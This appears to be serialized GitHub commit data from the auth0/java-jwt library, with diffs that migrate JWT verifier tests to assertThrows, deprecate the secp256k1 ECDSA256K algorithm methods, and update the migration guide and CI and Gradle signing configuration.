@@ -829,16 +829,16 @@ public void shouldSkipIssuedAtVerificationWhenFlagIsPassed() {
 
     @Test
     public void shouldThrowOnInvalidIssuedAtIfPresent() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Token can't be used before 1970-01-18T02:26:32Z.");
-        exception.expect(hasClaimName(PublicClaims.ISSUED_AT));
-        exception.expect(hasClaimValue(1477592L, Long.class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
-        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
-        verification
-                .build(mockOneSecondEarlier)
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
+            JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
+            verification
+                    .build(mockOneSecondEarlier)
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Token can't be used before 1970-01-18T02:26:32Z."));
+        assertThat(e.getClaimName(), is(PublicClaims.ISSUED_AT));
+        assertThat(e.getClaimValue().asLong(), is(1477592L));
     }
 
     @Test
@@ -887,16 +887,16 @@ public void shouldValidateJWTId() {
 
     @Test
     public void shouldThrowOnInvalidJWTId() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'jti' value doesn't match the required one.");
-        exception.expect(hasClaimName("jti"));
-        exception.expect(hasClaimValue("jwt_id_123", String.class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJqd3RfaWRfMTIzIn0.0kegfXUvwOYioP8PDaLMY1IlV8HOAzSVz3EGL7-jWF4";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withJWTId("invalid")
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJqd3RfaWRfMTIzIn0.0kegfXUvwOYioP8PDaLMY1IlV8HOAzSVz3EGL7-jWF4";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withJWTId("invalid")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'jti' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("jti"));
+        assertThat(e.getClaimValue().asString(), is("jwt_id_123"));
     }
 
     @Test
@@ -963,19 +963,19 @@ public void shouldSkipClaimValidationsIfNoClaimsRequired() {
 
     @Test
     public void shouldThrowWhenVerifyingClaimPresenceButClaimNotPresent() {
-        exception.expect(MissingClaimException.class);
-        exception.expectMessage("The Claim 'missing' is not present in the JWT.");
-        exception.expect(hasMissingClaimName("missing"));
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String jwt = JWTCreator.init()
+                    .withClaim("custom", "")
+                    .sign(Algorithm.HMAC256("secret"));
 
-        String jwt = JWTCreator.init()
-                .withClaim("custom", "")
-                .sign(Algorithm.HMAC256("secret"));
-
-        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaimPresence("missing")
-                .build();
+            JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaimPresence("missing")
+                    .build();
 
-        verifier.verify(jwt);
+            verifier.verify(jwt);
+        });
+        assertThat(e.getMessage(), is("The Claim 'missing' is not present in the JWT."));
+        assertThat(e.getClaimName(), is("missing"));
     }
 
     @Test
@@ -1120,19 +1120,19 @@ public void shouldSuccessfullyVerifyClaimWithPredicate() {
 
     @Test
     public void shouldThrowWhenPredicateReturnsFalse() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'claimName' value doesn't match the required one.");
-        exception.expect(hasClaimName("claimName"));
-        exception.expect(hasClaimValue("claimValue", String.class));
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String jwt = JWTCreator.init()
+                    .withClaim("claimName", "claimValue")
+                    .sign(Algorithm.HMAC256("secret"));
 
-        String jwt = JWTCreator.init()
-                .withClaim("claimName", "claimValue")
-                .sign(Algorithm.HMAC256("secret"));
-
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("claimName", (claim, decodedJWT) -> "nope".equals(claim.asString()))
-                .build()
-                .verify(jwt);
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("claimName", (claim, decodedJWT) -> "nope".equals(claim.asString()))
+                    .build()
+                    .verify(jwt);
+        });
+        assertThat(e.getMessage(), is("The Claim 'claimName' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("claimName"));
+        assertThat(e.getClaimValue().asString(), is("claimValue"));
     }
 
     @Test
@@ -1162,34 +1162,34 @@ public void shouldSuccessfullyVerifyClaimWithNull() {
 
     @Test
     public void shouldThrowWhenNullClaimHasValue() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'claimName' value doesn't match the required one.");
-        exception.expect(hasClaimName("claimName"));
-        exception.expect(hasClaimValue("value", String.class));
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String jwt = JWTCreator.init()
+                    .withClaim("claimName", "value")
+                    .sign(Algorithm.HMAC256("secret"));
 
-        String jwt = JWTCreator.init()
-                .withClaim("claimName", "value")
-                .sign(Algorithm.HMAC256("secret"));
-
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withNullClaim("claimName")
-                .build()
-                .verify(jwt);
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withNullClaim("claimName")
+                    .build()
+                    .verify(jwt);
+        });
+        assertThat(e.getMessage(), is("The Claim 'claimName' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("claimName"));
+        assertThat(e.getClaimValue().asString(), is("value"));
     }
 
     @Test
     public void shouldThrowWhenNullClaimIsMissing() {
-        exception.expect(MissingClaimException.class);
-        exception.expectMessage("The Claim 'anotherClaimName' is not present in the JWT.");
-        exception.expect(hasMissingClaimName("anotherClaimName"));
-
-        String jwt = JWTCreator.init()
-                .withClaim("claimName", "value")
-                .sign(Algorithm.HMAC256("secret"));
-
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withNullClaim("anotherClaimName")
-                .build()
-                .verify(jwt);
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String jwt = JWTCreator.init()
+                    .withClaim("claimName", "value")
+                    .sign(Algorithm.HMAC256("secret"));
+
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withNullClaim("anotherClaimName")
+                    .build()
+                    .verify(jwt);
+        });
+        assertThat(e.getMessage(), is("The Claim 'anotherClaimName' is not present in the JWT."));
+        assertThat(e.getClaimName(), is("anotherClaimName"));
     }
 }u}(j=  (acff9b0f7c0372b61dbf8496533c9eab0416b603j  <lib/src/test/java/com/auth0/jwt/matchers/CustomMatchers.javaj  removedj  K j  Krj  Krj  https://github.com/auth0/java-jwt/blob/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fmatchers%2FCustomMatchers.javaj  https://github.com/auth0/java-jwt/raw/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fmatchers%2FCustomMatchers.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fmatchers%2FCustomMatchers.java?ref=67df3d476024cbe697b3a54893f5383945c7670dj  X  @@ -1,114 +0,0 @@
-package com.auth0.jwt.matchers;
-
-import com.auth0.jwt.exceptions.IncorrectClaimException;
-import com.auth0.jwt.exceptions.MissingClaimException;
-import com.auth0.jwt.exceptions.TokenExpiredException;
-import com.auth0.jwt.interfaces.Claim;
-import org.hamcrest.Description;
-import org.hamcrest.Matcher;
-import org.hamcrest.TypeSafeMatcher;
-
-import java.time.Instant;
-import java.util.Arrays;
-
-public class CustomMatchers {
-    public static Matcher<MissingClaimException> hasMissingClaimName(final String claimName) {
-        return new TypeSafeMatcher<MissingClaimException>() {
-            @Override
-            public void describeTo(Description description) {
-                description.appendText("MissingClaimException with claim name: "+claimName);
-            }
-
-            @Override
-            protected boolean matchesSafely(MissingClaimException item) {
-                return item.getClaimName().equals(claimName);
-            }
-        };
-    }
-
-    public static Matcher<TokenExpiredException> hasTokenExpiredOn(final Instant instant) {
-        return new TypeSafeMatcher<TokenExpiredException>() {
-            @Override
-            public void describeTo(Description description) {
-                description.appendText("TokenExpiredException with expired time as: "+instant.getEpochSecond());
-            }
-
-            @Override
-            protected boolean matchesSafely(TokenExpiredException item) {
-                return item.getExpiredOn().equals(instant);
-            }
-        };
-    }
-
-    public static Matcher<IncorrectClaimException> hasClaimName(final String claimName) {
-        return new TypeSafeMatcher<IncorrectClaimException>() {
-            @Override
-            public void describeTo(Description description) {
-                description.appendText("IncorrectClaimException with claim name: "+claimName);
-            }
-
-            @Override
-            protected boolean matchesSafely(IncorrectClaimException item) {
-                return item.getClaimName().equals(claimName);
-            }
-        };
-    }
-
-    public static <T> Matcher<IncorrectClaimException> hasClaimValue(final Object value, final Class<T> clazz) {
-        return new TypeSafeMatcher<IncorrectClaimException>() {
-            @Override
-            public void describeTo(Description description) {
-                description.appendText("IncorrectClaimException with claim : "+value);
-            }
-
-            @Override
-            protected boolean matchesSafely(IncorrectClaimException item) {
-                return item.getClaimValue().as(clazz).equals(value);
-            }
-        };
-    }
-
-    public static <T> Matcher<IncorrectClaimException> hasClaimInstant(final Instant value, final Class<T> clazz) {
-        return new TypeSafeMatcher<IncorrectClaimException>() {
-            @Override
-            public void describeTo(Description description) {
-                description.appendText("IncorrectClaimException with claim : "+value);
-            }
-
-            @Override
-            protected boolean matchesSafely(IncorrectClaimException item) {
-                return item.getClaimValue().as(clazz).equals(value);
-            }
-        };
-    }
-
-    public static <T> Matcher<IncorrectClaimException> hasClaimValueArray(final Object value, final Class<T> clazz) {
-        return new TypeSafeMatcher<IncorrectClaimException>() {
-            @Override
-            public void describeTo(Description description) {
-                description.appendText("IncorrectClaimException with claim : "+value);
-            }
-
-            @Override
-            protected boolean matchesSafely(IncorrectClaimException item) {
-                return Arrays.equals((Object[]) item.getClaimValue().as(clazz), (Object[])value);
-            }
-        };
-    }
-
-    public static <T> Matcher<IncorrectClaimException> hasNullClaim() {
-        return new TypeSafeMatcher<IncorrectClaimException>() {
-            @Override
-            public void describeTo(Description description) {
-                description.appendText("IncorrectClaimException with claim as null");
-            }
-
-            @Override
-            protected boolean matchesSafely(IncorrectClaimException item) {
-                boolean a = item.getClaimValue().isNull();
-                String b = item.getClaimValue().toString();
-                return item.getClaimValue().isNull();
-            }
-        };
-    }
-}ueu(fef52cc0bd7b1039436ebe09abbe569123812b02}(sha(fef52cc0bd7b1039436ebe09abbe569123812b02node_idEC_kwDOAQtL0doAKGZlZjUyY2MwYmQ3YjEwMzk0MzZlYmUwOWFiYmU1NjkxMjM4MTJiMDIcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-04-20T22:27:14Zu	committer}(j¥  James Andersonjĥ  jim.anderson@auth0.comjƥ  2022-04-20T22:27:14ZumessageFormatting fixestree}(j  (17e16ca941d82b50488153117a6dc20cd55e80d6url^https://api.github.com/repos/auth0/java-jwt/git/trees/17e16ca941d82b50488153117a6dc20cd55e80d6ujҥ  `https://api.github.com/repos/auth0/java-jwt/git/commits/fef52cc0bd7b1039436ebe09abbe569123812b02
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujҥ  \https://api.github.com/repos/auth0/java-jwt/commits/fef52cc0bd7b1039436ebe09abbe569123812b02html_urlQhttps://github.com/auth0/java-jwt/commit/fef52cc0bd7b1039436ebe09abbe569123812b02comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/fef52cc0bd7b1039436ebe09abbe569123812b02/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jҥ  'https://api.github.com/users/jimmyjamesjޥ  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujȥ  }(j  
jimmyjamesj  J7 j  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j  h3jҥ  'https://api.github.com/users/jimmyjamesjޥ  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj   uparents]}(j  (5d8776d7e3d14f9d454404813ae0656c3a8edf2djҥ  \https://api.github.com/repos/auth0/java-jwt/commits/5d8776d7e3d14f9d454404813ae0656c3a8edf2djޥ  Qhttps://github.com/auth0/java-jwt/commit/5d8776d7e3d14f9d454404813ae0656c3a8edf2duastats}(totalK	additionsK	deletionsKufiles]}(j  (7105742da7a66bf5e0f00d5ca3aed92aa1d30cf4filenameMIGRATION_GUIDE.mdstatusmodifiedj  Kj  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/fef52cc0bd7b1039436ebe09abbe569123812b02/MIGRATION_GUIDE.mdraw_urlahttps://github.com/auth0/java-jwt/raw/fef52cc0bd7b1039436ebe09abbe569123812b02/MIGRATION_GUIDE.mdcontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/MIGRATION_GUIDE.md?ref=fef52cc0bd7b1039436ebe09abbe569123812b02patchX  @@ -50,11 +50,11 @@ This class extends `InvalidClaimException` and represents that when validating a
 
 This class extends `InvalidClaimException` and represents that when validating a JWT, an expected claim is missing from the JWT.
 
-### `HeaderParams` added
+#### `HeaderParams` added
 
 This class contains constants representing common header parameter names.
 
-### `StandardClaims` added
+#### `StandardClaims` added
 
 This class contains constants representing the standard claim names.
 uau(e196170bb909b1d8019093a1697fbcac93e131d5}(sha(e196170bb909b1d8019093a1697fbcac93e131d5node_idEC_kwDOAQtL0doAKGUxOTYxNzBiYjkwOWIxZDgwMTkwOTNhMTY5N2ZiY2FjOTNlMTMxZDUcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-11T09:57:37Zu	committer}(j7  
Poovamraj T Tj9  poovamraj@gmail.comj;  2022-03-11T09:57:37Zumessage6[SDK-3192] Deprecate secp256k1 curve for EC Algorithmstree}(j/  (0689bf8b0cdd6a4acfdc10addf2ace5c704cb867url^https://api.github.com/repos/auth0/java-jwt/git/trees/0689bf8b0cdd6a4acfdc10addf2ace5c704cb867ujG  `https://api.github.com/repos/auth0/java-jwt/git/commits/e196170bb909b1d8019093a1697fbcac93e131d5
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujG  \https://api.github.com/repos/auth0/java-jwt/commits/e196170bb909b1d8019093a1697fbcac93e131d5html_urlQhttps://github.com/auth0/java-jwt/commit/e196170bb909b1d8019093a1697fbcac93e131d5comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/e196170bb909b1d8019093a1697fbcac93e131d5/commentsj5  }(login	poovamrajidJ j1  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jG  &https://api.github.com/users/poovamrajjS  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj=  }(jX  	poovamrajjZ  J j1  MDQ6VXNlcjE1OTEwNDI1j\  4https://avatars.githubusercontent.com/u/15910425?v=4j^  h3jG  &https://api.github.com/users/poovamrajjS  https://github.com/poovamrajja  0https://api.github.com/users/poovamraj/followersjc  =https://api.github.com/users/poovamraj/following{/other_user}je  6https://api.github.com/users/poovamraj/gists{/gist_id}jg  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}ji  4https://api.github.com/users/poovamraj/subscriptionsjk  +https://api.github.com/users/poovamraj/orgsjm  ,https://api.github.com/users/poovamraj/reposjo  7https://api.github.com/users/poovamraj/events{/privacy}jq  6https://api.github.com/users/poovamraj/received_eventsjs  Userju  uparents]}(j/  (90cea2d99680b985130f702ccb830bb322458171jG  \https://api.github.com/repos/auth0/java-jwt/commits/90cea2d99680b985130f702ccb830bb322458171jS  Qhttps://github.com/auth0/java-jwt/commit/90cea2d99680b985130f702ccb830bb322458171uastats}(totalK	additionsK	deletionsKufiles](}(j/  (9af79b4f117be1af8bf92d9a31e3278d33847ca0filenamelib/build.gradlestatusmodifiedj  K j  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/e196170bb909b1d8019093a1697fbcac93e131d5/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/e196170bb909b1d8019093a1697fbcac93e131d5/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=e196170bb909b1d8019093a1697fbcac93e131d5patchX  @@ -118,7 +118,6 @@ def testJava17 = tasks.register('testJava17', Test) {
     filter {
         excludeTestsMatching "*.jwt.ConcurrentVerifyTest.shouldPassECDSA256KVerificationWithJOSESignature"
         excludeTestsMatching "*.jwt.JWTCreatorTest.shouldAddKeyIdIfAvailableFromECDSAKAlgorithms"
-        excludeTestsMatching "*.jwt.JWTCreatorTest.shouldNotOverwriteKeyIdIfAddedFromECDSAKAlgorithms"
         excludeTestsMatching "*.jwt.JWTTest.shouldCreateAnEmptyECDSA256KSignedToken"
         excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithJOSESignature"
         excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys"u}(j/  (37a99142a8700c67a377a699f62b764d8ddb9ee5j  9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/e196170bb909b1d8019093a1697fbcac93e131d5/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/e196170bb909b1d8019093a1697fbcac93e131d5/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=e196170bb909b1d8019093a1697fbcac93e131d5j  X  @@ -182,8 +182,10 @@ public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
      *
      * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
      * @return a valid ECDSA256 Algorithm.
+     * @deprecated This method is deprecated since Java 15+ disables SECP-256K1 Curve. Using this in Java 15+ will throw a SignatureException
      * @throws IllegalArgumentException if the Key Provider is null.
      */
+    @Deprecated
     public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
         return new ECDSAAlgorithm("ES256K", "SHA256withECDSA", 32, keyProvider);
     }
@@ -194,8 +196,10 @@ public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalAr
      * @param publicKey  the key to use in the verify instance.
      * @param privateKey the key to use in the signing instance.
      * @return a valid ECDSA256 Algorithm.
+     * @deprecated This method is deprecated since Java 15+ disables SECP-256K1 Curve. Using this in Java 15+ will throw a SignatureException
      * @throws IllegalArgumentException if the provided Key is null.
      */
+    @Deprecated
     public static Algorithm ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
         return ECDSA256K(ECDSAAlgorithm.providerForKeys(publicKey, privateKey));
     }u}(j/  (949934d9bf072259e2f29913d1897aedb7f72c81j  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e196170bb909b1d8019093a1697fbcac93e131d5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://github.com/auth0/java-jwt/raw/e196170bb909b1d8019093a1697fbcac93e131d5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=e196170bb909b1d8019093a1697fbcac93e131d5j  Xs  @@ -176,7 +176,7 @@ public void shouldAddKeyIdIfAvailableFromECDSAKAlgorithms() throws Exception {
 
     @Test
     public void shouldNotOverwriteKeyIdIfAddedFromECDSAKAlgorithms() throws Exception {
-        ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
+        ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256, "EC");
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         when(provider.getPrivateKeyId()).thenReturn("my-key-id");
         when(provider.getPrivateKey()).thenReturn(privateKey);ueu(83eeb3b4404decec7ccfcc5d39df27361e9a41e8}(sha(83eeb3b4404decec7ccfcc5d39df27361e9a41e8node_idEC_kwDOAQtL0doAKDgzZWViM2I0NDA0ZGVjZWM3Y2NmY2M1ZDM5ZGYyNzM2MWU5YTQxZTgcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-11T14:37:03Zu	committer}(j  GitHubj  noreply@github.comj  2022-10-11T14:37:03ZumessageZMerge pull request #616 from auth0/automated-release

Update Circle Ship Orb configurationtree}(j  (e6f8a9e0a1f5461ede4278bc9212d5f0e45e8b7eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/e6f8a9e0a1f5461ede4278bc9212d5f0e45e8b7euj̦  `https://api.github.com/repos/auth0/java-jwt/git/commits/83eeb3b4404decec7ccfcc5d39df27361e9a41e8
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjRX+PCRBK7hj4Ov3rIwAAyA4IAFavcitSxvQUUA+mU6JRDyQ/
MfRAmYjxykeOpMOJaJZRN8+vxfH/I16qLW04KOvnbAj6OGkvbim153EPmGCuJsPz
99IKAYsAo5AECnYBHJj4nRYS70HOVODZAdlase+sn9aHKeow0pByUNRZ8u568OdL
Xq3QAP7C0GAge8R9wVRCJ9H6Gr6Zsw++1dQ/ADNdShREYqFZAF8hOU1g7bV1KYzP
k0um9tDFdKprDEtGx7vVZd1MxARlKTBAUf0c84z6Fs8q0xReOTobZ0ebFwXrP9wP
q8Y1WslJIEeTv5mUvjoQqNPpqVb78afhp4eDqNWNhXfb4rjPJOWmrIPusOMYdyo=
=HJA5
-----END PGP SIGNATURE-----
payloadX^  tree e6f8a9e0a1f5461ede4278bc9212d5f0e45e8b7e
parent 6621b504aa7a161478f3d0dc9749e9c9aa488176
parent a2ecb759b2b0200f5a61fe9227b5a2ddf804eee7
author Jim Anderson <jim.anderson@auth0.com> 1665499023 -0500
committer GitHub <noreply@github.com> 1665499023 -0500

Merge pull request #616 from auth0/automated-release

Update Circle Ship Orb configurationuuj̦  \https://api.github.com/repos/auth0/java-jwt/commits/83eeb3b4404decec7ccfcc5d39df27361e9a41e8html_urlQhttps://github.com/auth0/java-jwt/commit/83eeb3b4404decec7ccfcc5d39df27361e9a41e8comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/83eeb3b4404decec7ccfcc5d39df27361e9a41e8/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j̦  'https://api.github.com/users/jimmyjamesjڦ  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}      	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj¦  }(jߦ  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j̦  %https://api.github.com/users/web-flowjڦ  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(j  (6621b504aa7a161478f3d0dc9749e9c9aa488176j̦  \https://api.github.com/repos/auth0/java-jwt/commits/6621b504aa7a161478f3d0dc9749e9c9aa488176jڦ  Qhttps://github.com/auth0/java-jwt/commit/6621b504aa7a161478f3d0dc9749e9c9aa488176u}(j  (a2ecb759b2b0200f5a61fe9227b5a2ddf804eee7j̦  \https://api.github.com/repos/auth0/java-jwt/commits/a2ecb759b2b0200f5a61fe9227b5a2ddf804eee7jڦ  Qhttps://github.com/auth0/java-jwt/commit/a2ecb759b2b0200f5a61fe9227b5a2ddf804eee7uestats}(totalK	additionsK	deletionsKufiles](}(j  (e6b1dcd96cde8f47aa4f2449e9b71e4d7b9360cafilename.circleci/config.ymlstatusmodifiedj  Kj  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/83eeb3b4404decec7ccfcc5d39df27361e9a41e8/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/83eeb3b4404decec7ccfcc5d39df27361e9a41e8/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=83eeb3b4404decec7ccfcc5d39df27361e9a41e8patch@@ -1,6 +1,6 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0.7.1
+  ship: auth0/ship@0.7.2
   codecov: codecov/codecov@3
 
 commands:u}(j  (3649399cedbf73222cf3538482338b5f1e184244j   lib/build.gradlej"  modifiedj  Kj  Kj$  Kj%  bhttps://github.com/auth0/java-jwt/blob/83eeb3b4404decec7ccfcc5d39df27361e9a41e8/lib%2Fbuild.gradlej'  ahttps://github.com/auth0/java-jwt/raw/83eeb3b4404decec7ccfcc5d39df27361e9a41e8/lib%2Fbuild.gradlej)  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=83eeb3b4404decec7ccfcc5d39df27361e9a41e8j+  X  @@ -9,8 +9,8 @@ plugins {
     id 'checkstyle'
 }
 
-def signingKey = findProperty('SIGNING_KEY')
-def signingKeyPwd = findProperty('SIGNING_PASSWORD')
+def signingKey = findProperty('signingKey')
+def signingKeyPwd = findProperty('signingPassword')
 
 signing {
     useInMemoryPgpKeys(signingKey, signingKeyPwd)
@@ -29,6 +29,7 @@ oss {
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
     baselineCompareVersion "4.0.0"
+    skipAssertSigningConfiguration true
 
     developers {
         auth0 {ueu(e10966949df7da3acd96d15917b1ddc474336ab0}(sha(e10966949df7da3acd96d15917b1ddc474336ab0node_idEC_kwDOAQtL0doAKGUxMDk2Njk0OWRmN2RhM2FjZDk2ZDE1OTE3YjFkZGM0NzQzMzZhYjAcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-03-01T13:46:57Zu	committer}(j?  GitHubjA  noreply@github.comjC  2022-03-01T13:46:57ZumessagexMerge pull request #530 from auth0/replacing-assertThat-deprecated-method

